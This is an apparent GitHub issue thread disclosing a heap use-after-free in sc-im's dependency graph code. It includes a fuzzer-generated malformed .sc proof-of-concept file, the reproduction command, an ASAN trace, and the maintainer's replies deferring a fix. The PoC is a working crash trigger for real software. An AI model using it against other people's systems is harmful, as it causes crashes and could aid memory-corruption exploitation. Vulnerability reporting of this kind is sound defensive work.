[Bug] Heap-use-after-free in GraphIsReachable during dependency check (GraphAddEdge)

[oneafter]

Description

We discovered a Heap-use-after-free vulnerability in sc-im. The crash occurs during the file loading process when the interpreter attempts to add a dependency edge (GraphAddEdge) and checks for cycles (GraphIsReachable).

The ASAN report indicates that GraphIsReachable accesses a vertex pointer that was previously freed by the parser (yyparse).

Environment

• OS: Linux x86_64
• Complier: Clang
• Build Configuration: Release mode with ASan enabled.

Vulnerability Details

• Target: sc-im
• Vulnerability Type: CWE-416: Use After Free
• Function: GraphIsReachable
• Location: src/graph.c:563
• Root Cause Analysis:

1. The PoC contains multiple let statements and re-definitions of cells (e.g., let A1, let A2).
2. During parsing (yyparse), a vertex associated with a cell is freed (likely due to a syntax rule in gram.y:456 handling re-definition or error recovery).
3. However, the interpretation of a subsequent let command triggers eval -> GraphAddEdge.
4. GraphAddEdge calls GraphIsReachable to ensure no circular dependencies are created.
5. GraphIsReachable traverses the graph and encounters the dangling pointer to the freed vertex, causing the crash.

Reproduce

1. Build sc-im with Release optimization and ASAN enabled.
2. Run with the crashing file:

poc

" Th
let A2 
l%0
 Th.?10
let A2)
le =10
let A2 = r
leftt.inft
fo"
 t 
let A1 =  "te
Q"
let A1 =  "Sum teQ?Qjjjjjjum test"
let?? t"
let A1 =  "SkCt"
let A1 = jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjQQ( 3A1 =  ""Sust"
let A1 = 10
let A2 = rum test"
let?? t"
let A1 =  "Sut"?kCt
fo"
let A1 =  ""Su?t"
let A1 = 10
let A2 = rum test"
let?? t"
let A1 =  "SkCt"
let A1 =  "te
Q"
le A3 = @max(:A2)
let @prjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjQQ( 3:@avgat A 1e"
let B1 = 1.5goto>
lGft
 0
tem"
leftswwww? = >Suing AA1+A2	goe? A3 =$A0
?20
let A3 = 
let A4 = @avg(A1:A3)l"
let A1 =  "Sum te
Q"
let mat A 1e"
let B1 = 1.5goto>
lGft
 0
tem"
leftswwww? = >Suing AA1+A2
goe? A3?=$A0
?20
let A3 = 
let A4 = @avg(A1:A3)l"
letA1 =  "Sum te
QQQjjjjjjjjjjjj

./src/sc-im --nocurses --quit_afterload poc.sc

ASAN report

==46045==ERROR: AddressSanitizer: heap-use-after-free on address 0x5040000004e0 at pc 0x56350b79e763 bp 0x7fff3f44cae0 sp 0x7fff3f44cad8
READ of size 4 at 0x5040000004e0 thread T0
    #0 0x56350b79e762 in GraphIsReachable /src/sc-im/src/graph.c:563:20
    #1 0x56350b79e698 in GraphIsReachable /src/sc-im/src/graph.c:576:18
    #2 0x56350b79de5e in GraphAddEdge /src/sc-im/src/graph.c:229:8
    #3 0x56350b7b4e4b in eval /src/sc-im/src/interp.c:374:17
    #4 0x56350b7c40dd in let /src/sc-im/src/interp.c:1551:9
    #5 0x56350b787ea9 in yyparse /src/sc-im/src/gram.y:440:35
    #6 0x56350b760f3b in readfile /src/sc-im/src/file.c:901:36
    #7 0x56350b778abf in load_tbl /src/sc-im/src/file.c:2287:37
    #8 0x56350b7785b6 in load_file /src/sc-im/src/file.c:2248:5
    #9 0x56350b7cfe04 in main /src/sc-im/src/main.c:285:9
    #10 0x7f8f508441c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
    #11 0x7f8f5084428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
    #12 0x56350b66fba4 in _start (/src/sc-im/src/sc-im+0x4eba4) (BuildId: a0e0444e0e3f03f87f10e6f4f651691f85705c2c)

0x5040000004e0 is located 16 bytes inside of 48-byte region [0x5040000004d0,0x504000000500)
freed by thread T0 here:
    #0 0x56350b70f73a in free (/src/sc-im/src/sc-im+0xee73a) (BuildId: a0e0444e0e3f03f87f10e6f4f651691f85705c2c)
    #1 0x56350b789315 in yyparse /src/sc-im/src/gram.y:456:146
    #2 0x56350b760f3b in readfile /src/sc-im/src/file.c:901:36
    #3 0x56350b778abf in load_tbl /src/sc-im/src/file.c:2287:37
    #4 0x56350b7785b6 in load_file /src/sc-im/src/file.c:2248:5

previously allocated by thread T0 here:
    #0 0x56350b70f9d3 in malloc (/src/sc-im/src/sc-im+0xee9d3) (BuildId: a0e0444e0e3f03f87f10e6f4f651691f85705c2c)
    #1 0x56350b79c8a7 in GraphAddVertex /src/sc-im/src/graph.c:130:39
    #2 0x56350b7c40dd in let /src/sc-im/src/interp.c:1551:9

SUMMARY: AddressSanitizer: heap-use-after-free /src/sc-im/src/graph.c:563:20 in GraphIsReachable
Shadow bytes around the buggy address:
  0x504000000200: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x504000000280: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x504000000300: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x504000000380: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x504000000400: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
=>0x504000000480: fa fa 00 00 00 00 00 00 fa fa fd fd[fd]fd fd fd
  0x504000000500: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 00
  0x504000000580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x504000000600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x504000000680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x504000000700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==46045==ABORTING

[andmarti1424]

Hello. Could you please reattach the .sc file? The file you uploaded seems to have incorrect content. Thanks

[oneafter]

The file you uploaded seems to have incorrect content.

The file content appears "incorrect" because it is a malformed PoC generated by a fuzzer. This structure is intentionally designed to expose a logic flaw in the dependency graph handling.

Please try running sc-im (compiled with ASAN) against this file, and you should see the crash report. If you encounter any issues reproducing the crash, just let me know.

[andmarti1424]

I see. I imagine there are several ways to make sc-im crash editing the sc files or making them with invalid format / content.
I added these comments in sc generation routine to prevent users to do this kind of things:
This data file was generated by SCIM.
You almost certainly shouldn't edit it.

.sc files should be generated by the app itself not manually, unless you're sure how it works.

I dont say this is not a bug but there a lot of other bugs that has priority over this custom generated sc files errors.
And since this app is a one man only work and with little time available to work in this project (and certainly low support) I am afraid it wont be fixed in the near future.
Thanks for sharing though